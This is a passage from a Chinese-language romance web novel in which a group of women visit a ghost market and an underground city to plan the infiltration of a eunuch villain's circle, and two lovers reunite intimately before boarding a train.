既然边烬来送房卡,那她本人应该也在这间客栈才是。
沈逆想得没错,来送房卡的是边烬,边烬此刻也在客栈。
就在楼下。
正往云家姐妹的客房去。
云婵和云衣姐妹俩很久没睡到同一间屋了。
姐姐太严肃,云衣晚上休息还要和她一间屋,感觉像在被迫加班,心不甘情不愿的。
不过想想,和姐姐一屋也行,总比和不苟言笑的白御史一屋要好得多。
要和白御史住一块,可真是要命,可能晚上都会做噩梦。
云衣从来没这么“心想事成”过。
刚在心里庆幸完,白御史就来敲门了。
“我的客房让给友人了,今晚和你们挤一挤,打扰了。”
云衣:……?
第150章
云衣含泪和她姐挤在一张床上不说,整晚都能感觉到白御史那冷冰冰的气场。云衣浑身僵硬,翻了两个身还被身边全程平躺的姐姐嫌弃地“啧”了一声,弄得她都想顶着寒风睡屋顶了。
边烬没什么睡意,无声从床上起来,坐在窗边,眺望楼下大雪之夜越发璀璨的灯火。
另一头,沈逆点完餐后在客栈里转了三圈,愣是没找到边烬的影子。
曾倾洛都好奇出来找她。
怎么吃食酒水都送到屋里,她人不见了。
沈逆被曾倾洛领回屋,赶了一整日的路没怎么正经吃东西,这会儿大家都饿了,一顿山吃海喝。
第五阙看着镜子里自己的脸,怎么觉得胖了一圈?
回头要见着贺姐姐,会不会觉得她丢了心上人,过得还挺滋润啊?
夜里大雪纷飞,可因半个月一次的鬼市就要开张,整个小镇热闹非凡。
沈逆在暗网上订购了一批材料,对方给了她两个交货地点,一个在兰陵鬼市,一个就在石川鬼市。
那正好了,沈逆打算去一趟鬼市取货。
其他三人对鬼市也很好奇,来都来了,打算和沈逆一块儿去看看。
鬼市就像是大型线下暗网,卖什么的都有,更有一些专门贩卖情报的掮客。
据说掮客的耳目四通八达,只要银子给到位,什么情报都能套回来。
第五阙想去转转,看看能不能探听到贺兰濯的下落。
她心里有数,能打听到她下落的希望不大。
第五阙自认寻人暗访的技术也不差,可当初还在长安城里,四下找不到贺兰濯,贺兰濯却能在她发生危险的时候第一时间出现,说明一直待在她身边从未走远。即便如此,她不现身,第五阙就是找不到她。
贺兰濯离开长安城是准备一路死咬向知番,观机而动,所以她的行动路线只会更加隐秘,难以寻找。
第五阙生性乐观,已经做好了找不到她的准备,心里却还有一丝安慰自己的想法:
说到底她寻人暗访的技术都是贺兰濯教她的,想要用老师教的技术去反制老师,希望不大。
但那些卖消息的掮客思路不一样,说不定真能找到点线索呢。
出发之前第五阙拉着沈逆到小角落,双手交握抵在下巴下,一双大眼睛对着沈逆可爱地眨巴着。
还没说话沈逆就摁住她的脸说:“行了我知道了你别跟我撒娇。”
被沈逆扣一脸的第五阙立马回复正常。
“不是,我都没说话你就知道我要说什么了?”
沈逆:“我还不知道你?不就是要去鬼市找掮客卖消息,找我借银子么?”
沈逆知道贺兰濯走的时候给第五阙留了一张卡,卡里存的银钱足够第五阙挥霍一辈子。
但她迄今为止一个铜板都没动,沈逆晓得她想着找到贺兰濯了,就把卡还回去。
第五阙又假死逃婚,没敢联系家人,如今官也不做了出来找贺兰濯,俸禄断了,想要从漫天要价的掮客那边买消息,当然得找金主姐姐来借。
第五阙:“侯君姐姐怎么这么聪明呐!借我一千两,回头我还你两千。”
沈逆严防死守,还是被她撒到娇,打了个哆嗦道:“不必了,姐姐我送你了。”
第五阙还以为要转账给她,没想到沈逆让她一起去房车里拿。
沈逆出远门还带这么多现银?
也对,这一路网络信号奇烂无比,很多时候没法线上支付,有现银傍身准没错。
第五阙一边夸沈逆高瞻远瞩,一边像小奴才一样张开双手乖乖接着。
咚。
沈逆给了她一个指甲盖大小的金属盒子。
第五阙:“这是什么?”
沈逆:“一两星河铬素。”
第五阙:“什么——星!”
喊了一个字,立刻放小了声量,悄摸摸地说:
“星河铬素?你给我这么贵重的东西?!”
众所周知,一两星河铬素能换一座和北境十二州同等大小的国家,极为珍贵。
沈逆点点头道:“只要是掮客没有不认它的。要是遇上个别贪心的,就跟他说这星河铬素的辐射已经净化,放心用。”
睦州集团翻脸的消息传到沈逆的耳朵里,面上沈逆是不好多说的,毕竟此事牵扯到她的好友们,但私底下她立刻让“狸力开采机”马不停蹄日夜疯狂开采,趁着睦州大乱,把整个狸力三号坑给挖了个底朝天。
如今整个三号坑的星河铬素都在沈逆手中。
“第二计划”需要大量的星河铬素,剩下的星河铬素留着也没什么太大的用处,第五阙要多少她给多少。
沈逆的慷慨超出第五阙的意料。
第五阙作势往她怀里钻,嘤嘤地哭:“这世上除了贺姐姐,最疼我的就是逆逆了。”
沈逆一个灵活的闪身躲过第五阙的脑袋,害她差点一头磕墙上。
子时一到,鬼市开张。
灯火如同大雪中复苏的脉搏,一瞬间照亮了漆黑的深夜。
沈逆她们四人一同来到鬼市。
介于要找暗网的人拿货,同时又是万维网上的名人,沈逆全程戴着边烬同款口罩,穿着雪白的狐狸皮斗篷,非常低调。
第五阙她们虽不遮脸,到了这拥挤却安静到诡异的街衢内,也是提心吊胆的。
到底是鬼市,这条二十里长街除了主干道外更有街巷阡陌,听不到普通市集的吆喝,只有细细的低语和警惕的眼神,当真“鬼”得很。
沈逆到了约定交货的小楼前,亮了暗网的交接码,进了楼。
第五阙她们也要进去,被小楼前的护卫给拦下了。
沈逆道:“没事,你们先逛会儿,我一会儿就下来。”
她们四人都已经在身上安装了定位器,能实时监测彼此的位置。沈逆也有外骨骼护体,倒是不惧一般威胁。
更何况,师姐就在小镇的某处,沈逆跟在自己家一样安心。
第五阙听到周围有人提到前方有掮客茶会,她说:“我过去瞧瞧。”
“去吧。”窦璇玑转头对曾倾洛说,“你也去,你陪阿阙过去,有事的话还有个照应,我在这儿等沈逆。”
曾倾洛心里是倾向和第五阙一同去打探消息的,嘴上没说,也似乎没什么立场,被窦璇玑这么贴心一提,顺理成章跟着去了。
这个所谓的掮客茶会聚集了一群面相猥琐之徒,第五阙没直接问她想要的线索,随便提了些她所知晓关于长安城的事儿,探探对方的底。
没想到对方漫天要价,还一知半解的模样,第五阙觉得很不靠谱,非常失望。
没买消息,第五阙垂头丧气地离开茶会。
曾倾洛去买了几杯暖身茶,递给第五阙一杯,自己拿着一杯,还拎着两杯装在袋子里,准备给沈逆和窦璇玑的。
曾倾洛宽慰她道:“起码目前为止没有坏消息,说明贺节度使将自己藏得很深,别人发现不了她,向知番应该也察觉不到。”
第五阙望着不断落下雪花的天际,轻叹了一声。
“希望如此……”
目光还未收回,曾倾洛忽然用身子把她怼到墙后。
第五阙手里的茶差点洒了。
“怎么了?”
手里的茶全部塞到第五阙的怀里,曾倾洛立即放了一只小小的侦查鸟出去,随后跟第五阙说了句话,让第五阙浑身寒毛兴奋地倒竖。
“我好像看到向知番的下属了。”
第五阙亢奋地差点“哇”一声出来,立刻闭嘴。
曾倾洛放飞出去的侦查鸟是沈逆侦查鸟的简易版,更小,便于随身携带,功能也更少,只有追踪功能,锁定目标后便会变成隐身状态,咬紧目标,并且将目标的位置和侦查画面传回给曾倾洛。
曾倾洛操控着侦查鸟锁定了人群中的某人后,用眼神示意第五阙是哪个人。
第五阙锁定了人群之中戴着软脚幞头的男人。
男人行色匆匆,手里拿着一个大包袱于人群中穿梭,撞到人了也不回头,一个劲往前走。
第五阙:“你确定?”
曾倾洛:“我确定。这个人我见过两回。”
生怕第五阙心急就要跟上去,劝她道:
“第五姐姐,这个人看着是出来买东西的,他或许要回去找向知番。向知番有S级精神力,要是暴露在他附近很容易被发现,打草惊蛇的话,以后想要再跟他就难了。”
第五阙:“嗯,咱们别跟去,侦查鸟也保持距离。如果向知番在附近,那她们也有可能跟到了镇上来。”
听到“她们”二字,曾倾洛心下仿佛被人抓了一把。
这“她们”当然是指李极和贺兰濯。
她们也会在这儿吗?
脑中的想象拱起一阵说不清的气息,仿佛整个小镇都更加鲜活了。
第五阙道:“你来接收侦查鸟的信号,我到附近转转,看看能不能找到她们的下落。”
曾倾洛:“好!”
第五阙去寻人,曾倾洛一边控制着侦查鸟,让它保持距离,一边给在沈逆建的四人小组里发消息。
收到消息时沈逆正好取了货,单肩背了一个小箱子下了楼,和窦璇玑一打照面,两人都看到了曾倾洛的消息。
对视一眼,立刻去和曾倾洛汇合。
找到曾倾洛时,第五阙已经回来了。
她们站到隐蔽的巷子里,第五阙低声道:“我看到向知番了,只远远看了一眼,知道他住在哪家客栈,怕被发现就先回来了。”
沈逆问她:“向知番在这儿,你的贺姐姐和安王会不会跟到附近了?”
第五阙摇摇头,“我找了一圈,没见着。或许向知番这老阉狗已经把她们摆脱了……”
曾倾洛补充了一句,“我刚才也给裴寂传了信,她也没回。可能她们所在的地方没有网络。”
“裴寂?”窦璇玑疑惑问了一句。
沈逆解释道:“李极的艺名。”
从来不关注艺术圈的窦璇玑不是很懂,怎么还玩上艺名了,但很懂地“噢”了一声。
第五阙双眼像狼一般雪亮,“向知番就在眼前,这个机会绝对不能错过。我有个计划……”
人来人往间,沈逆比了个噤声的手势,“回去再说。”
四人回到客栈,关起门,第五阙说了自己的计划。
沈逆不是很赞成,“太冒险了。”
第五阙:“可是不冒险一把,让向知番逃了也太可惜。能幸运遇到他一次,未必有第二次机会了。逆逆,你懂我的,就算她一辈子都不见我,她的事我也一定要为她办好。眼下是最好的机会,我不能错过,不然会抱憾终身!”
沈逆被她这么一说心里不好受。
将心比心,沈逆自己不也是这样打算的么?
拿命去解心上人的困境,眼睛都不会眨。
“……行。”沈逆沉了沉气,说,“我帮你。”
第五阙笑着捏了捏沈逆的手。
“好好好,如果我能活着回来,下半辈子给你当牛做马。”
沈逆“啧”了一声:“谁要你这牛马。你给我活着回来。”
窦璇玑看不得好友间的羁绊,转过身去,看着窗外不做声。
沈逆瞧着曾倾洛沉默着一直没说话,知道她在想什么,捏了捏她的肩膀道:“倾洛,此计凶险,你能不能跟着阿阙去,在暗中助她?”
150-160
第151章
第五阙的计划的确非常大胆。
是贺兰濯听到肯定会直接把她五花大绑不让出门的那种大胆。
能发现向知番不容易,机会转瞬即逝,必须咬住他。
只有掌控了他,才有可能找到贺兰濯妹妹阿赐的下落。
救出阿赐,贺兰濯便能完全摆脱老阉狗的控制,获得自由身。
可是如果跟踪向知番很容易被发现。
第五阙胆大心细,她打算假装无意,主动暴露在向知番面前,让向知番把她抓走。
不入虎穴焉得虎子。
第五阙的身份特殊,既和贺兰濯有深厚的情缘,又是第五家族的嫡女。向知番想要继续控制第五家族,借助第五家族的威势掌握睦州,甚至利用她来瓦解贺兰濯和李极的联盟,第五阙都自认是一枚非常好用的棋子。
她有信心,只要暴露在向知番面前,向知番肯定想抓住她。
沈逆眉心就没松开过,“你是胆大,可这也太胆大了。你比我清楚,精神天赋者想控制一个人,采取的是深度催眠。催眠术可和洗脑没多大区别,你想假装被他控制,趁机调查贺兰濯妹妹的下落,这法子是好。但你有没有想过,万一你真的被向知番洗脑了怎么办?”
第五阙笑嘻嘻道:“这不是有你吗?你不能帮我造个东西把精神力隔绝在外吗?”
沈逆将手里卷成麻花的包装袋丢向第五阙的脑袋。
“在这儿等着我呢?感觉你贺姐姐一走,你智商偶尔又能重新占领高地了。”
第五阙:“骂我不带脏字是吧?”
沈逆喝了口曾倾洛买来的茶,茶香浓郁,相当解乏,脑子也清晰不少。
“阿阙你先坐下。咱们都不是精神天赋,对精神天赋不甚了解,现在身边也没有一个精神天赋者来做实验,不好冒进。你说让我造个东西出来把精神力隔绝在外,我可以帮你造,可我对精神力了解有限,万一隔绝不了怎么办?那你不是真把自己搭进去了么?机会只有一次,不是闹着玩的。”
窦璇玑受过精神力的操控,也劝第五阙道:“精神力不是那么好隔绝的。”
另一位精神力受害者曾倾洛也现身说法,“而且精神力何时出现让人产生幻觉,你根本无从分辨,防不胜防。”
沈逆摊手,一副“你看看”的表情。
第五阙咕咚咕咚把一整杯茶都喝了,又再给自己接了一大杯水。
沈逆道:“行动之前最好去找个精神天赋者聊聊。施展催眠的人肯定最怕被催眠,精神天赋者肯定有精神力对抗之术。而且此人还得可靠,不能信口胡说,也不能转头把咱们卖了。”
第五阙思索时,下意识习惯用手指戳戳自己的脸。
“我……有个认识的精神天赋者,就在石川。”
沈逆她们三人异口同声问道:“之前怎么没听你说?”
第五阙吞吞吐吐道:“这人吧,身份有些特殊……”
清晨。
相比于夜里沸腾的街衢,昼时鬼市收摊,整个石川小镇显现出毫不掩饰的疲软和萧条。
满地垃圾,渣斗被塞得合不拢口,青黑色的街道上所有的店铺都关着门,车开出去大半条街才见到一个倒在路边的醉汉。
第五阙一边比照地图,一边给开车的沈逆指路。
车慢悠悠地往西边开。
等到再也看不见小镇城墙之上那颗巨大的琉璃球时,就算是出了城。
她们来到一处山脚下,窦璇玑说:“咱们被盯上了。”
第五阙:“正常,到了地下城入口,这附近都是地下城的人。”
窦璇玑喝着豆浆问:“地下城?”
石川靠近睦州,第五阙没少来这儿办差事,对此地比她们仨更了解一些。
第五阙说:“别看石川小镇小,那可是卧虎藏龙。地面上有鬼市,地面下有个庞大的地下城。”
曾倾洛咬着牛肉饼说:“我听说过这个地下城,据说此地收容通缉犯和不被世俗接纳的怪人。”
“没错。”
沈逆:“那咱们要来找的不会是……”
第五阙推开车门,“就是这地下城的老大。”
雪地之下埋伏了不少地下城的守卫,第五阙下车,抬起双手以表诚意,对着四野道:“我是你们老大的朋友,今日有事相求特来拜访——还请诸位代为通报!”
她喊完话后,果真从雪地里探出几个脑袋,这些地下城的守卫个顶个的凶狠,手里端着枪,瞄准第五阙的脑袋说:
“这不是你们该来的地方,滚。”
面对不容情面的敌意,第五阙反而强硬了。
“回去跟你们老大说,第五家的人来找她。”
守卫们没说话也没动,似乎在权衡着。
第五阙:“还不快去?”
守卫思索了片刻,点开电子表,暗暗说了几句话。
地下城首领:【就她一个人进来。】
守卫枪口指着第五阙道:“你,一个人进去。”
第五阙:“我和我朋友一起进去。”
守卫真是服了气了,来拜访他们老大,还跟这儿讨价还价?
守卫迫不得已又去联系首领。
地下城首领:【……第五家的人还是这么烦。就进来两人,不可更多。豆渣脑筋,以为我这儿是景点?还组团来?】
守卫知道老大在骂那个姓第五的,可是第五氏又听不到,只有他听到了,成骂他了。
守卫没好气地向第五阙她们转达了首领的话。
沈逆说:“我跟你进去。倾洛璇玑,你们等一会儿。”.
表面上看,她们就是进了一个普通的山洞,沿着崎岖昏暗的山路往里面走,一路上只有一排地灯照明。
大致行走了一盏茶的工夫,进了云梯,一路往下。
沈逆估算着大概下降了两里地。
再次开门,云梯之外赫然是一座繁华的城镇。
一排排房屋齐整,街道上车马不息。除了头顶看不到天空,只有一层布满了灯管的金属天顶和安静运作的核心能量球之外,其他的都和普通城池没有区别。
要不是偶尔能看到从水泥钢铁缝隙里长出的植物,散发着地下植物特有的荧光,很难意识到自己此刻已经身处地下空间。
全程身后的四名守卫都用枪指着她们的脑袋,驱赶着她们前进。
沈逆问第五阙:“这地下城老大是你朋友还是仇家?”
第五阙:“以前的朋友,现在的仇家。”
沈逆:“……我真是信了你的邪,到底是谁?”
说话的工夫,她们已经来到一处府邸。
大门敞开,地下城的首领正坐在舒适的沙发上吃着葡萄等着她们。
第五阙:“是我大姐的前任。”
沈逆:……
地下城首领看上去不过三十出头,额头上有一道没进头发里的可怖伤痕,穿着一身保暖的大氅,面容姣美但面相凶狠。
第五阙嘴甜,“我记得雪怀姐姐你是非常厉害的精神天赋者,路过此地,有些事想请姐姐帮忙。”
对方瞥了一眼第五阙,似乎也不意外,吐出葡萄皮后拿来酒盏,嘴压在酒盏边时淡淡丢出一句:
“你还有脸来找我。”
沈逆凑近第五阙问她:“什么仇什么怨啊?”
第五阙低声在沈逆耳边说:“当年她和我大姐爱得死去活来,婚都订了,我大姐人跑了。”
沈逆:“敢情还真是仇人。”
话说到这儿,第五阙忽然想起自己曾经觉得贺兰濯像她大姐。
现在再一比对,怎么不像呢,一模一样。
地下城首领姓窦名雪怀,正是曾经四大世家之一的兰陵窦氏真正的后人,和窦璇玑没有血亲关系。
自从兰陵窦氏没落后,嫡系迁至长安谋生,其他庶出各奔东西,窦雪怀随耶娘到了睦州,而后与第五阙大姐那番震动睦州的情感纠葛后,心下憎怨,失魂落魄,加之耶娘离世,她毅然离开睦州,独自到雪域闯荡。
如今这庞大的地下城是她一手创立的,懒得再回那浑浊尘世,在地底自立为王也过得逍遥快活。
第五阙对窦雪怀笑道:“雪怀姐姐别对我这么凶,以前我有什么好吃的好喝的都会给你留一份,你给我大姐写的情诗还都是我给偷偷送去的呢。小时候那会儿你不是可喜欢我了吗?而且,是我大姐抛弃你又不是我抛弃你,咱两的情分不能因为我大姐就断了。”
窦雪怀冷笑道:“以前我那是爱屋及乌,现在,恨屋也及乌。”
第五阙立刻道:“我知道这些年你一直都想知道我大姐在哪儿。我拿她的下落跟你换。”
沈逆心里一阵无语。
第五阙,你可真是你大姐的好妹妹,说出卖就出卖。
可是,这样对方会信吗?
窦雪怀觉得好笑,“这么多年你还是卖你大姐卖得这么干脆。可谁要知道她的下落,她死了才好。”
窦雪怀了解第五阙,还真信她能卖了她大姐。
以前第五阙和她二姐总是合伙作妖,惹出事了一定第一时间推到她大姐头上,她大姐一头雾水被她娘一顿好骂的场面还历历在目眼前。
窦雪怀都没发现自己嘴角浮出了一丝笑意,很快,又压了回去。
第五阙:“雪怀姐姐,这么多年了大姐也该面对当年犯下的错了,我这是替天行道。”
窦雪怀翻了她一眼,把酒盏随意一放,靠到椅背上:
“说吧,什么事。”
第五阙喜笑颜开,“这么说你答应了?”
窦雪怀道:“趁我没反悔,说。”
一炷香后。
听完第五阙的计划,窦雪怀问:“你说的这个姓向的是什么等级的天赋?”
“S级的精神天赋,还有一个S级的战斗天赋。”
“如果你不想真正被催眠,我倒是有个方法,也是我们精神天赋者自保的法子。我给你在精神世界下一个锚点,只要你看到这个锚点,就能瞬间清醒。你有S级战斗天赋,精神力也比普通人强上一些,能清醒的概率也更高。”
窦雪怀用杯盏点了点案面。
“但有一点我得跟你说清楚。对方是S级精神天赋,我是个A级,我为你下的锚点在对方精神攻击面前,可能就是漂浮在水面上的小球,浪一大就会被冲没了踪影。失去锚点,你可能再也醒不过来了。”
窦雪怀的话很硬,很吓人,不过第五阙并不怕。
第五阙笑道:“这么说,只要锚点下的对,能醒过来就没事了。”
窦雪怀眸光微微凝滞。
这第五家的姐妹还真是相似。
这份天真乐观,让人想恨都没法真的狠心去恨。
第五阙看向沈逆,“逆逆,你觉得找个什么当锚点合适?”
沈逆思索着,看向窦雪怀,“所谓锚点也就是精神标记,通过锚点来破解催眠,在任何时候都能瞬间唤醒意识。”
窦雪怀努了努嘴。
沈逆对第五阙道:“得是一样对你而言很有意义的东西。”
很有意义的东西?
沈逆和第五阙同时目光向下,看向了第五阙随身携带的那只贺兰濯送给她的丑丑多足虫。
……
从地下城出来后,第五阙和曾倾洛没有跟着沈逆她们一同返程。
生怕向知番跑了,第五阙和曾倾洛决定争分夺秒,立即布局。
曾倾洛原本还有些犹豫,但沈逆对她说的话,让她下定了决心。
“有些人一见如故,有些人日久生情,而有些人则需经历三回九转方可见真心。人活一世最难得的便是能遇见属于你的那颗真心,若你见着了,可别让它擦肩而过,那样的话必定会抱憾终身。”
曾倾洛忽然明白小师姐为何如此坚定。
因为她知道这紫陌红尘弱水三千,谁对她而言是最最珍贵的。
曾倾洛似乎见着了一颗心,一颗埋在肮脏砂土之下,朦胧晦涩,恐怕连这颗心主人自己都不太确定的心。
不知它是否真挚,不知它能不能长久,甚至有可能又是一场梦。
正因为不确定,曾倾洛想去试一试,抓一抓。
她决定和第五阙一起行动。
第五阙不让沈逆她们跟着,人少不容易被发现。
沈逆也有自己要完成的计划。
四人就此站在了分别的岔路口。
分别的这一刻,她们心里都有种诀别的不舍,嘴上不说,心里多少都会想,这一面或许是此生最后一面。
沈逆不再说些生生死死的话,只是在渐合的四野中,久久地凝视第五阙和曾倾洛,不愿向命运低头,固执地留下一丝温暖的希望:
“待下一次草长莺飞时,咱们长安相见。”
……
沈逆和窦璇玑返回了客栈。
路上沈逆想跟窦璇玑提,让她回长安城,窦璇玑没给她机会,直接上楼去了。
沈逆知道窦璇玑脾气倔得很,也没再多说。
不知道师姐什么时候会动身,她得争分夺秒多进行几次“第二计划”的相关实验。
此刻,客栈六楼。
沈逆为边烬修复逆芯之后,这两日黑魔方都没有机会作祟。
对黑魔方分支的感应也更从容而清晰。
云婵都说她看上去气色好了些。
边烬正在感应距离她们最近的黑魔方分支的移动方向,从东边以相对均匀的速度往她们的方向靠近。
边烬投出电子地图,笔尖在上面划出一道红线。
那是黑魔方分支移动的大致位置。
云婵说:“这是雾雪线铁路。”
边烬:“移动的速度稳定,应该是在列车上。”
云衣心领神会,立刻去查列车时刻表。
所谓雾雪线,便是贯穿整个雪域通往雾城的官道。原先每日有十多趟列车,黑魔方迭代之后敢出门的人骤减,列车班次也缩水,勉强维持着运营,改成两日一趟。
云衣道:“今晚列车就会抵达石川,白御史,订票吗?”
边烬:“订。”
最近的黑魔方分支就在车上,两日一趟的列车恐怕乘客不会太少。
加之乘客上上下下的,想在密闭空间里不伤人命捕杀黑魔方,难度不小。
票买好,今晚她们就会离开石川。
边烬走到窗边,往楼下泊车处看。
列车速度极快,边烬心想,沈逆的房车是追不上了。
这次,当是最后的分别。
一团熟悉的黑影从窗外一闪而过,打乱了边烬的思绪。
边烬以为自己看错了。
无脸女?
往窗边走进一步,的确是无脸女,它居然出现在沈逆的房车边。
不远处,沈逆和窦璇玑说了什么,窦璇玑先上楼了,沈逆独自往房车的方向去。
难道是秦无商把无脸女修好了?
还是又造了一个无脸女?
无脸女“尾随”沈逆进了房车时,云婵只感觉窗户忽然大开,寒风乍然冲入屋内。
“白御史!”
云衣眼睁睁地看着边烬翻出窗户,一跃而下!
难道这儿有黑魔方?
沈逆盘腿坐在房车的床上,外面风大,她懒得动,便操控着无脸女帮她干点活儿,一会儿来了顺便再做几次实验。
思绪略略开了小差,心想着不知师姐此刻在做什么。
无脸女刚上车,边烬一把拽开房车的窗户,扑进来猛地把沈逆抱入怀中。
沈逆吓了一大跳,差点来一发电磁炮。
待她看清忽然闯入房车里的人是边烬时,更是不解。
“师姐?”
边烬单手将她扣在怀里,与此同时骨鞭已经在狭窄的房车空间里盘旋着,以抵御无脸女的袭击。
可就在这时,边烬看到无脸女左手握着十串肉串。
边烬:?
右手拿着一瓶橘子味营养液。
边烬:……
甚至手臂上还挂着袋煎饼。
边烬眼尾跳了跳。
傻了,炼丹炉在沈逆那儿,以她的能力把无脸女修复并且收为己用并不是什么难事儿。
边烬暗暗握拳,怎么会这般冲动……
此刻她俩正在床上,搂抱的动作不清不楚。
边烬站起身就要走,袖子却被沈逆捏住。
“能不能陪我一会儿?”
沈逆的尾音有些轻,语调里带着一种不太清晰,只有边烬能感受到的难过。
边烬缓缓地眨了眨眼,回身,将房车敞开的窗户合上。
风止了,无脸女不知何时离开了。
密闭的空间里唯有她们二人。
第152章
还有半个时辰,雾雪线列车就要抵达石川驿站。
云婵已经将所有行李收拾好了,云衣联系了雪域驻石川办公司的同僚,让同僚和她们同去车站,接管马车。
一切准备就绪,就等着白御史回来。
云衣趴在窗边望向院子里的房车。
刚才白御史突然跃窗而出,就是冲到那辆房车里的。
一开始云衣还以为白御史终于受不了这跟了她们一整路的尾随者,打算像消灭人形异兽一样灭了对方。
可是,怎么进去之后这么安静,还把窗户和门的帷帐都放下来了?
云衣:“姐,就要来不及了,你说要不要去问问白御史?”
云婵看了妹妹一眼后,说:“你去吧。”
云衣完全没能体悟姐姐眼神中包含的意味,真去了。
云衣下楼前三刻钟。
房车之内,沈逆正坐在边烬的腿上缠着她接吻。
边烬的衣衫被扯散了衣襟,沈逆修长的指尖压在衣襟的边沿,时不时难耐地勾着。热意带着潮湿感,在那勾弄中时不时扑到指尖上,将指尖慢慢染上温度,渐渐变成暧昧的粉色。
衣衫松松散散地遮掩着边烬白皙的躯体,沈逆埋到她脖子里吻,边烬被弄得只能扬起下巴。汗水从边烬脸侧下滑,沿着修长的颈部滑至锁骨,正好汇聚在还未彻底消失的吻痕上。
吻痕变浅了,沈逆不甘心,红唇磨上去,一点点勾勒,一点点加深。
边烬被她吻得浑身燥热滚烫,一个个吻像火种,唤起埋在身躯里多时。旧梦重燃,何时箍住她的腰肢,何时揉乱她的青丝,无从思考,身体本能地这样做了。
谁也没说话,沉默的空间里只有燥热的气流在交融。
汩汩声起了又落,落了又起。
这张从一开始就为边烬准备的床,如今终于如沈逆所愿,被边烬搅乱。
确定了,边师姐和烬师姐的确已经重合了记忆的时间线。
反应时是她熟悉的模样,抱她时的手法也让她吃不消。
虽然吃不消,但还想要。
还未平复,沈逆又圈住边烬的脖子,缠上来吻她。
轻易启开了边烬的唇舌,沈逆轻笑着,碾转之间问她:
“把我带在身边不好吗?”
明目张胆的暗示。
她知道边烬喜欢,抗拒不了。
边烬没有回应,沈逆换了个话题,像小猫般蹭蹭她的脖子,“明日就要走么?”
边烬把她乱蹭的脸托起来,“学我?”
沈逆不明所以似的眨眨眼,“学你?你是说,学你之前无所不用其极地奖励、诱惑我来快速修复逆芯的手段吗?”
边烬:……
沈逆就让自己的脸待在边烬的掌心里,歪了歪脑袋,用脸庞感受边烬掌心的弧度和热度。
沈逆:“从小到大我都听你的教诲,你怎么做我就怎么学。”
表情很乖,声音很甜,心思很坏。
边烬还想说什么,沈逆不给她机会,软唇又至,仿佛要将分别的日子欠下的体温全部补偿回来。
不让说话,一开口就亲。
连这招都学去了。
边烬正被她缠得没办法,忽然云衣的声音在车外响起。
“白御史,你在吗?”
沈逆明明听到了云衣的声音,吻就是不停。
没得到答案,云衣敲了敲门。
“白御史?”
沈逆还是没停,边烬只能捏着她的脸,将她分开一点,稳了稳声线回答:“没事,你先回去,我一会儿就来。”
云衣提醒,“距离列车到站只剩不到一个时辰了。”
云衣这话一出,算是彻底暴露边烬守口如瓶的行程。
边烬无言以对,沈逆在她耳边轻笑,细语道:
“白御史别生气,就算你的小下属不说漏嘴,我也能继续跟着你。只是现在更方便了。”
居然起了个“白御史”的名号。
沈逆心想,这个“白”字还挺适合她的。
沈逆叫“白御史”纯属消遣戏弄,边烬将她不安分的脑袋压在肩头,不让她再胡言乱语,对车外的云衣说:
“知道了。”
沈逆顺势靠在压她之人的肩头,还把对方的蹀躞带从床头抽出来。
边烬看着人胜又被她系了回去。
“反正你也甩不开我,就别让它和你分开了。”
边烬:“回长安。”
“行啊。”
边烬有些意外地抬眸。
沈逆带着一丝愠色道:“行啊,你可真行。刚做完就赶我走?”
边烬:……
车外的云衣疑惑,说不清白御史的声音有什么不同,依旧很清冷平静,却带着一点儿不知从何而来的沙哑。
密闭的环境,延迟的回答,忽然让未经人事的云衣想到一种可能,随之脸上发烫。
不会吧……
但,也不是不可能啊,毕竟这房车不就是白御史一直纵容尾随的那辆车么。
白御史会情娘!
云衣惊讶捂嘴。
她这个没眼力见的居然在外面敲门!
就在云衣终于领悟了来之前她姐那个意味深长的眼神时,房车的门被推开。
白御史罩着面罩,若无其事地走出来,也没看云衣。
云衣却发现她的唇比进去时红了不少,还抹了一层油润的护唇膏。
护唇膏是沈逆为她抹的。
抹的时候还抱怨,说她不会照顾自己,一双漂亮的唇毫不养护,忍心把它们糟蹋得这般干燥。
边烬看到站在房车车头的无脸女,手上还拿着食物。
沈逆靠在房车玄关处解释道:“我给它安装了手部补丁,不算灵巧,但拿个东西还是没问题。”
边烬看着那和自己身形一模一样的无脸女,回头低声嘱咐沈逆一句:“别乱用。”
沈逆:?
听懂之后沈逆道:“那可不一定。”
边烬回眸瞠她,她报以甜美的笑容。
虽然听不懂她们在说什么,可是云衣的眼睛不瞎,房车内氛围旖旎,车内这不知为何有些眼熟的美娘子散着长发,没穿正装只套了件长长的寝衣,唇也是与白御史如出一辙的红肿……桩桩件件都写满了暧昧,蒸得云衣小脸通红。
沈逆已经知道搭乘列车的时间,边烬也不再多费唇舌。
前往车站的路上,雪域驻石川办公司的同僚和云婵一同在外驾车,云衣被迫和边烬坐在车厢里。
云衣从后视镜中再次看到了那辆房车。
边烬正阖着目,云衣怕她没发现,提醒一句:
“白御史,你的……朋友,跟在后面。”
边烬轻轻“嗯”了一声,示意她知晓。
戴着手套的掌心里还残留着沈逆脸庞的触感。
边烬道:“她不是我朋友。”
边烬睁开眼,后视镜里映着那穿过风雪,一直锲而不舍追随她的影子,眉眼染上了点点水雾。
“是我妻子。”
云衣呼吸一窒。
白御史这孑然一身的孤冷,看着像是从未沾染情事的模样,没想到居然已经成婚了。
可是,既然如此,为什么双妻二人不同行,妻子要追在马车后?
云衣陷入沉思。
……
窦璇玑开着车,沈逆埋头在买雾雪线列车的票。
临近发车时间,这会儿买只剩下价格高昂的头等舱,沈逆毫不手软,立刻订了两个头等舱。
既然知道边烬要坐这趟列车,也知道她现在是用“白御史”的身份活动,那沈逆这票就能订得更加精准。
石川镇的驿站就在城中,驿站年久失修,和长安城的中央驿站没法比,说一句又脏又破完全不委屈它。
沈逆把房车连带着无脸女一起托运。
她和窦璇玑检票进站后,沿着昏暗的通道往站台的方向去。
身边零零星星走过几名疲倦又紧张的旅人。可以想象,在黑魔方泛滥的时候出行,必定有非出门不可的理由,只是出门就意味着把脑袋提在腰间,随时都有可能没命。
沈逆和窦璇玑一身笃定自若,在这破败之地,心惊胆战的人群中,显得格格不入。
都要上站台了,沈逆收到驿站工作人员的传信,说她托运的车内有生命反应,让她去一趟。
沈逆知道对方说的是无脸女。
“璇玑你等我一会儿,很快回来。”
窦璇玑:“好。”
沈逆去交涉了,窦璇玑看前方有个卖点心的小食肆,打算去买些干粮和水,谁都知道列车上的物价高得让人心慌。
窦璇玑买了一大兜的点心和水,应该够吃三天的了。看到沈逆喜欢吃的油炸地豆刚出锅,香味四溢,也买了两种口味。
头顶的灯管在闪烁,墙上的广告牌时暗时亮,寒冷的空气里带着不知从何处吹来的腐烂气味。
